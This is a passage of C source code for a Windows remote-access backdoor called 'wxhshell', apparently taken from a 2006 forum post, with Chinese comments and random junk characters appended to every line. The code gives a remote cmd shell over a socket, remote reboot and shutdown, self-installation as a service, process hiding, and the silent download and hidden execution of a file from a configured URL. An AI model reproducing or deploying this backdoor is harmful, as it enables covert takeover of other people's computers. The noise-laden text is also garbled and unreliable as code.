  else { 8Mws?]\/q  
_z,/!>J  
    switch(cmd[0]) { Y0|~]J(B  
  p4{?Rhb6  
  // 帮助 Z`b,0[rG[  
  case '?': { sS5#Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nkN]z ^j  
    break; =5dv38  
  } K<Yh'RvTD  
  // 安装 *XtZ;os]  
  case 'i': { IA8kq =W  
    if(Install()) )4GfT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E6)FYz7x  
    else lt,x(2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s)/i_Oe$\  
    break; .vpQ3m>  
    } Qg9{<0{u  
  // 卸载 _?q\tyf3  
  case 'r': { ?A62VV51CN  
    if(Uninstall()) G-"#3{~2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *#UDMoz<  
    else 0C3Yina9 *  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e5`{*g$i).  
    break; A.WJ#1i}E  
    } 1grrb&K  
  // 显示 wxhshell 所在路径 =N7N=xY  
  case 'p': { puXJ:yo(  
    char svExeFile[MAX_PATH]; y"@~5e477$  
    strcpy(svExeFile,"\n\r"); I|WBT  
      strcat(svExeFile,ExeFile); c$uV8_V  
        send(wsh,svExeFile,strlen(svExeFile),0); %K ]u"  
    break; 8(Z*Vz uu  
    } zac>tXU;  
  // 重启 i9.5 2  
  case 'b': { db#y]>^l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !7%L%~z^  
    if(Boot(REBOOT)) k(VA5upCs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aN;L5;m#>{  
    else { ZV;#ZXch  
    closesocket(wsh); D"A`b{z  
    ExitThread(0); OkzfQ hC}  
    } |:H[Y"$1;  
    break; []LNNO],X  
    } *"9b?`E  
  // 关机 %gw0^^A  
  case 'd': { t~U:{g~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FpW{=4yk  
    if(Boot(SHUTDOWN)) L]HY*e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @*%.V.  
    else { h+Dg"j<[  
    closesocket(wsh); II~D66 bF  
    ExitThread(0); sF|<m)Kt{W  
    } 4s"8e]q=  
    break; )QI]b4[  
    } l'3NiIX  
  // 获取shell 2@e<II2ha8  
  case 's': { %f{kT<XHu  
    CmdShell(wsh); +;cw<9%0  
    closesocket(wsh); Yj0Ss{Ep  
    ExitThread(0); H3a}`3}U  
    break; { Ja#pt  
  } G e~&Ble  
  // 退出 1L &_3}  
  case 'x': { :1.$7W t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /3+7a\|mKr  
    CloseIt(wsh); $orhY D3gv  
    break; 5%4:)s{4|  
    } =euoSH D}  
  // 离开 Sl 6}5  
  case 'q': { &+*jTE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >mt<`s  
    closesocket(wsh); eU{=x$o6S  
    WSACleanup(); MWhFNfS8=  
    exit(1); IL>Gi`Y&  
    break; {SROg;vA  
        } vn,L),"=  
  } ~9'VP }\  
  } z@iY(;Qo  
B~~rLo:a  
  // 提示信息 oPWvZI(\&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .[O*bk  
} *y N,e.t  
  } 7 v`Y*D  
9*,5R,#  
  return; ld2 \/9+n  
} /"/$1F%{  
.6.oqb  
// shell模块句柄 DUW;G9LP$-  
int CmdShell(SOCKET sock) u4.-AY {  
{ %C)U F  
STARTUPINFO si; bLNQ%=FjO  
ZeroMemory(&si,sizeof(si)); < ^J!*>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vx-u+/\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P5aHLNit  
PROCESS_INFORMATION ProcessInfo; gQ/zk3?k  
char cmdline[]="cmd"; L:B&`,E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fNB*o={r|  
  return 0; k92189B9j/  
} # <&=ZLN  
\ =83#*KK  
// 自身启动模式 =2`s Uw}  
int StartFromService(void) ~'T]B{.+J  
{ .g4bV5ma3  
typedef struct f#^%\K:YYR  
{ M{z+=c&w  
  DWORD ExitStatus; *M KVm)Iv  
  DWORD PebBaseAddress; {d7KJmN  
  DWORD AffinityMask; 0HG*KW  
  DWORD BasePriority; e@X~F6nP  
  ULONG UniqueProcessId; O'5(L9,  
  ULONG InheritedFromUniqueProcessId; B V Pf8!-  
}   PROCESS_BASIC_INFORMATION; v3aiX  
VMtR4!:q  
PROCNTQSIP NtQueryInformationProcess; t/q\Ne\\,  
}b,a*4pN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]bS\*q0Zf(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nC`=quM9  
}25{"R}K  
  HANDLE             hProcess; %oN^1a'&)  
  PROCESS_BASIC_INFORMATION pbi; ,Xb:f/lB  
rU'&o) a^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7 H<_ wW  
  if(NULL == hInst ) return 0; cJH7zumM)  
(cA=~Bw[=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c?z% z&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JDMaLo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); St&XG>nWS  
][0HJG{{g  
  if (!NtQueryInformationProcess) return 0; [!aHP ?-  
e=_*\`/CN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z2,rnm)Q  
  if(!hProcess) return 0; 0e/~H^,SQ  
uHwuw_eK`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; My5X%)T>P  
LFh(. }  
  CloseHandle(hProcess); g\6(ezUF*  
*!nS4 [d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0jg-]  
if(hProcess==NULL) return 0; A)VOv`U@2  
oM< &4F  
HMODULE hMod; 6o6m"6  
char procName[255]; Ob(j_{m  
unsigned long cbNeeded; -8TJ~t%w4  
 T>LtN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q0M8 }  
-|ee=BV  
  CloseHandle(hProcess); `d8$OC  
tU?lfU[7  
if(strstr(procName,"services")) return 1; // 以服务启动 ,,,5pCi\  
3EzI~Zsx  
  return 0; // 注册表启动 G%4vZPA  
} VoP(!.Ua>7  
,rTR |>Z  
// 主模块 ,cj34W`FWq  
int StartWxhshell(LPSTR lpCmdLine) {qh`8  
{ LfK <%(:  
  SOCKET wsl; e4?}#6RF  
BOOL val=TRUE; z{AfR2L  
  int port=0; JbG+ysn  
  struct sockaddr_in door; [%bshaY:  
gE8>5_R|  
  if(wscfg.ws_autoins) Install(); vO"AJ`_  
AoTL )',  
port=atoi(lpCmdLine); O-:~6A  
/S|Pq!4<  
if(port<=0) port=wscfg.ws_port; W]reQ&<Z  
eBBh/=Zc  
  WSADATA data; 7] ~'8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B%r)~?6DM  
R':a,6 O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )~!Gs/w6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <hS >L1ZSr  
  door.sin_family = AF_INET; 9BHl 2<&V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @3b0hi4  
  door.sin_port = htons(port); uT;9xV%ch  
YJr@4!j*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dyu~T{  
closesocket(wsl); eaCEZHr$  
return 1; hp[8.Z$7  
} "*TnkFTR  
=k0l>)  
  if(listen(wsl,2) == INVALID_SOCKET) { +fKLCzj  
closesocket(wsl); ==|//:: \  
return 1; JqFFI:Q5a  
} Z/a]oR@  
  Wxhshell(wsl); ,wnF]K 2D0  
  WSACleanup(); i\,#Z!  
<;_X=s`f,  
return 0; |s s_<  
QvqX3FU  
} v`no dI  
iiO4.@nT  
// 以NT服务方式启动 "9R3S[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tohYwXN  
{ QDSB <0j  
DWORD   status = 0; 2uqdx'^"  
  DWORD   specificError = 0xfffffff; F#W'>WBU  
~EdmVEu  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  +/AW6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 80 p7+W2m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6``!DMDt/P  
  serviceStatus.dwWin32ExitCode     = 0; YZ'gd10T  
  serviceStatus.dwServiceSpecificExitCode = 0; P^.L0T5g  
  serviceStatus.dwCheckPoint       = 0; G?YKm1:w   
  serviceStatus.dwWaitHint       = 0; h5B'w  
z^=9%tLJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yPuT%H&i  
  if (hServiceStatusHandle==0) return; wYS4#7  
n?:s/6tP  
status = GetLastError(); e'g-mRh  
  if (status!=NO_ERROR) pGUrYik4  
{ cojuU=i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]LNP"vi;  
    serviceStatus.dwCheckPoint       = 0; Tpkm\_  
    serviceStatus.dwWaitHint       = 0; OSsdB%bIu`  
    serviceStatus.dwWin32ExitCode     = status; ~F DJKGK  
    serviceStatus.dwServiceSpecificExitCode = specificError; T2^ @x9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lZ E x0  
    return; >'E'Mp.  
  } Fe`$mtPu.  
Ns&SZO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "4i(5|whp?  
  serviceStatus.dwCheckPoint       = 0; S,qsCnz  
  serviceStatus.dwWaitHint       = 0; 72luTR Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WEWNFTI  
} )I`B+c:  
LLV:E{`p  
// 处理NT服务事件,比如:启动、停止 m<TKy_C`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P(qUx9  
{ LXfDXXF  
switch(fdwControl) u9sffX5x[J  
{  xUzfBn  
case SERVICE_CONTROL_STOP: m$0T"`AP`  
  serviceStatus.dwWin32ExitCode = 0; mWCY%o@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q+Jzab  
  serviceStatus.dwCheckPoint   = 0; |Y2u=B  
  serviceStatus.dwWaitHint     = 0; +>37 'PD  
  { @k ~Xem%<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :\gdQG  
  } ;h3c+7u1  
  return; & P,8 )YA  
case SERVICE_CONTROL_PAUSE: wVV'9pw}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; If2f7{b  
  break; _ jF, k>F  
case SERVICE_CONTROL_CONTINUE: M>8#is(pV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #t po@pJsE  
  break; VbJGyjx  
case SERVICE_CONTROL_INTERROGATE: s$|GVv1B  
  break; F0]NtKaH  
}; Y|>y]x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ B1)!5Z  
} (4x`/  
sDw&U?gUv  
// 标准应用程序主函数 1kvBQ1+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O~l WFaW  
{ f*LDrAf9  
l>H#\MR  
// 获取操作系统版本 PzNk:O  
OsIsNt=GetOsVer(); l]^uVOX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k G4v>  
Pr<.ld\  
  // 从命令行安装 EL5gMs  
  if(strpbrk(lpCmdLine,"iI")) Install(); $x#Y\dpS  
`a98+x?JF  
  // 下载执行文件 Ryr2  
if(wscfg.ws_downexe) { /vBOf;L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C.Y]PdYyj  
  WinExec(wscfg.ws_filenam,SW_HIDE); FE" ksi 9  
} F@)wi0  
M7BJ$fA0E  
if(!OsIsNt) { ^4h/6^b0c  
// 如果时win9x,隐藏进程并且设置为注册表启动 <jY"+@rF  
HideProc(); 0a ZplE,  
StartWxhshell(lpCmdLine); ggXg4~WL  
} z3[ J>  
else |ILj}4ZA7  
  if(StartFromService()) \Om.pOz  
  // 以服务方式启动 yiWBIJ2Wu9  
  StartServiceCtrlDispatcher(DispatchTable); r` HtN{6r  
else $0+AR)  
  // 普通方式启动 {D 9m// x  
  StartWxhshell(lpCmdLine); G;>b}\Ng  
9jCn|+  
return 0; d[6[3B  
}
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只看该作者 1 发表于: 2006-10-10
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